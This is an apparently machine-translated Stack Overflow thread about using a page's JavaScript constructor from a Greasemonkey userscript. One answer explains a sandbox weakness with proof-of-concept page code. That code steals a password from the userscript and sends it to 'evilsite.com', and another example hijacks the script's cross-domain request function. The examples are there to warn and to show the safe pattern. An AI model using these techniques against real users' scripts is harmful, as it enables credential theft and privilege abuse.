Как использовать конструктор удаленной страницы для создания объекта в моем пользовательском скрипте Greasemonkey?

Страница, на которой будет работать мой пользовательский скрипт, имеет пространство имен, пространство имен определяет функцию-конструктор. Я хотел бы создать объект, используя тот же конструктор, и использовать методы объекта в своем пользовательском сценарии. До сих пор я был безуспешен. Вот что я пытаюсь сделать.

Страница имеет следующий собственный блок javascript:

var namespace={ constructor : function(){
   this.sum = function(value1,value2){
   alert(value1+value2);
    }
  }
}

используется как:

var pageObject=new namespace.constructor();
pageObject.sum(1,2);

В моем пользовательском сценарии я намерен создать объект, аналогичный pageObject, и вызвать из него сумму с моими собственными параметрами.

Я попытался сделать следующее:

var greaseNameSpace = unsafeWindow.namespace;
var greaseObject = new greaseNameSpace.constructor();
greaseObject.sum(1,2);

Не повезло, появляется, хотя GreaseNameSpace существует, и даже GreaseNameSpace.constructor является допустимой функцией, использование new GreaseNameSpace.constructor() дает неопределенное значение.

также пробовал следующее:

var greaseObject =new unsafeWindow.namespace.constructor();

снова GreaseObject остается неопределенным.

Я нашел здесь одну ветку remote-p">Как я могу создать объект класса, определенного на удаленной странице?

Но он использует eval, и мне интересно, правильно ли это?

Любая помощь будет высоко оценена :) спасибо!!


person miniGweek    schedule 26.01.2011    source источник
comment
Подход eval прекрасно работает, если он работает. Он просто создает копию в песочнице GM. Ваш скрипт может не видеть пространство имен JS и т. д., потому что он находится в iframe. Это?   -  person Brock Adams    schedule 26.01.2011
comment
Нет, скрипт не внутри iframe. Он доступен в виде файла js. var GreaseNameSpace = unsafeWindow.namespace; а затем выполнение unsafeWindow.console.log(greaseNameSpace) прекрасно показывает объект пространства имен. Даже выполнение unsafeWindow.console.log(unsafeWindow.namespace.constructor) показывает, что это функция. Но выполнение новой функции конструктора дает мне неопределенность! Я еще не пробовал метод eval, сделаю это и вернусь и сообщу.   -  person miniGweek    schedule 26.01.2011
comment
Когда я делаю это, у меня нет проблем с использованием этого пространства имен -- если только оно не заключено в iframe. Чего-то не хватает в вопросе. Ссылка на целевую страницу или сокращение до минимального, но полного набора кода (html, js, GM), демонстрирующего проблему.   -  person Brock Adams    schedule 27.01.2011
comment
Этот js генерируется ScriptManager. У него есть пространство имен, содержащее прокси-классы, с помощью которых я могу совершать вызовы wcf/ajax из пользовательского интерфейса. Скоро выложу здесь образец. Я разместил простой сайт в IIS с соответствующим js, имеющим пространство имен, а затем попытался создать объект в своем пользовательском скрипте, используя --› new unsafeWindow.namespace.constructor() . Не работало. Эвал сработал.   -  person miniGweek    schedule 27.01.2011
comment
@miniGweek - какой браузер вы используете?   -  person Wayne    schedule 26.02.2011
comment
@lwburk, используя Firefox 3.6. , @ all , немного отсутствовал , но, похоже, я могу потратить еще немного времени на изучение этого вопроса. Любая помощь будет оценена по достоинству.   -  person miniGweek    schedule 20.03.2011


Ответы (2)


Я нашел способ решить вопрос. Будьте осторожны, используя этот метод: когда вы частично/неправильно реализуете этот код, вы открываете потенциальную дыру в безопасности.

Код ниже получает объект window без неоднозначных ограничений unsafeWindow. Любой код, выполняемый в рамках этого объекта window, будет вести себя, как если бы он был частью фактической страницы, аналогично сценариям контента в расширениях Google Chrome.

Код

// ==UserScript==
// @name           http://stackoverflow.com/q/4804765
// @namespace      Rob W
// @include        file:///tmp/test.html*
// ==/UserScript==

//Get a window object which is less restricted than unsafeWindow
var $_WINDOW = new XPCNativeWrapper(window, "")
                  .getInterface(Components.interfaces.nsIDOMWindow);

//Create an anonymous function wrapper for security
(function(){
    var obj = new $_WINDOW.namespace.constructor;
    obj.sum(4,5);

}).call($_WINDOW)

Соображения безопасности

  • Оберните код, использующий методы/переменные этого объекта window, в функцию, чтобы не создавать опасных дыр. Не позволяйте этой оболочке функции выполнять случайный код на основе пользовательского ввода.
  • См. Пример 3, чтобы узнать, как правильно реализовать $_WINDOW.

Примеры/доказательство концепции

Ниже я покажу возможные случаи, когда объект $_WINDOW реализуется опасным образом. Очевидно, что Код на "//page" не ожидался разработчиком сценария GM.
Примечание. Некоторые примеры (например, пример 2) могут быть полезны для безопасных (локальных) веб-приложений (на уровне file:///, например).
В примере 3 показан правильный метод использования $_WINDOW.

Я использовал волшебную функцию __defineGetter__ для обнаружения обращений к переменной, потому что большинство разработчиков скриптов не знают об этой возможности. Прямой вызов функций также приведет к запуску вредоносного кода;

Основная причина заложена в arguments.callee.caller. Внутри функции этот объект будет ссылаться на функцию, вызвавшую текущую функцию. Когда используется unsafeWindow, переменная arguments.callee.caller не может быть вызвана. Затем функция будет отображаться как function SJOWContentBoundary{ [native code]}. Однако, когда используется $_WINDOW, реальная функция GM видна и может быть вызвана удаленной страницей.

Пример 1: Чтение (разумных) данных из скрипта GreaseMonkey

//GreaseMonkey:
var password = "password";
alert($_WINDOW.namespace.Var); //Seemingly harmless?

//Page:
var namespace = {Var:1};
namespace.__defineGetter__("Var", function(){
    var gm_function = arguments.callee.caller;
    var password = gm_function.toString().match(/var password = "(.*?)";\n/);
    (new Image).src = "http://evilsite.com/stealpassword.php?p=" + password[0];
})

Пример 2: утечка междоменного метода XMLHttpRequest на произвольную страницу.
Создатель этого скрипта GM намеревался изменить страницу в соответствии с изменением хэша. Однако, включив проверку (должна ли быть затронута страница) в функцию, которая изменяет URL/обратный вызов, была создана дыра.

//GreaseMonkey:
var base_url, callback;
function checkExistent(url, func){
    base_url = url;
    callback = func;
    return typeof $_WINDOW.some_var != "undefined"; //<---Leaked!
}
var isExistent = checkExistent("http://example.com/load?h=", function(res){
    alert(res.responseText);
});
var lastHash = unsafeWindow.location.hash.substr(1);
if(confirm(isExistent)){
    window.setInterval(function(){ //Create poller to detect hash changes
        var newHash = unsafeWindow.location.hash.substr(1);
        if(lastHash != newHash){
            GM_xmlhttpRequest({method:"GET",
                          "url": base_url + newHash, onload:callback});
            lastHash = newHash;
        }
    }, 300);
}

//Page
var step = 0, xhr;
window.__defineGetter__("some_var", function(){
    if(!step++){ //Define the xhr first time
        xhr = function(url, callback){
            arguments.callee.caller(url, callback);
              // = function checkExistent(url, callback) !!!!
            location.hash += "."; //Edit hash to trigger XHR
        }
    }
    return step;
});

Пример 3: Правильное использование
Методы получения переменных должны быть определены таким образом, чтобы не было возможности делать произвольные запросы. Функции не должны принимать переменные. Если это все еще необходимо, оберните геттер в анонимную функцию.

//GM:
function getUserdata(){
    //Get a string from a page. Wrap the string in a new String object,
    // to make sure that no evil properties/methods are defined
    return String($_WINDOW.variable);
}

//Method 2
//The developer of the GM script has to define a correct wrapper for type:
// String, Number, Boolean, ...
function getRandomVariable(type, name){
    var variable = (function(){ //No arguments, no hazards
        return $_WINDOW[name];
    })();
    return type(variable);
}
getRandomVariable(String, "variable");

//Page:
var variable = "There's no way to abuse this GM bridge.";
person Rob W    schedule 15.10.2011
comment
Я должен вернуться и проверить это. Некоторое время был вдали от мира GreaseMonkey. Это выглядит интересно. - person miniGweek; 22.07.2012
comment
Я думаю, что этот метод больше не работает. Если я правильно помню, либо Greasemonkey, либо Firefox изменили исправили дыру в какой-то момент. Я только что протестировал пример 1, и он больше не работает. Я пока не буду удалять ответ, если вы найдете что-то полезное. Если нет, то сразу удалю. Итак, если вы обнаружите, что ответ бесполезен, пожалуйста, прокомментируйте, чтобы я мог удалить ответ, - person Rob W; 22.07.2012

Пытаться:

var greaseNameSpace = unsafeWindow.namespace.constructor;
var greaseObject = new greaseNameSpace();
greaseObject.sum(1,2);
person minond    schedule 25.03.2011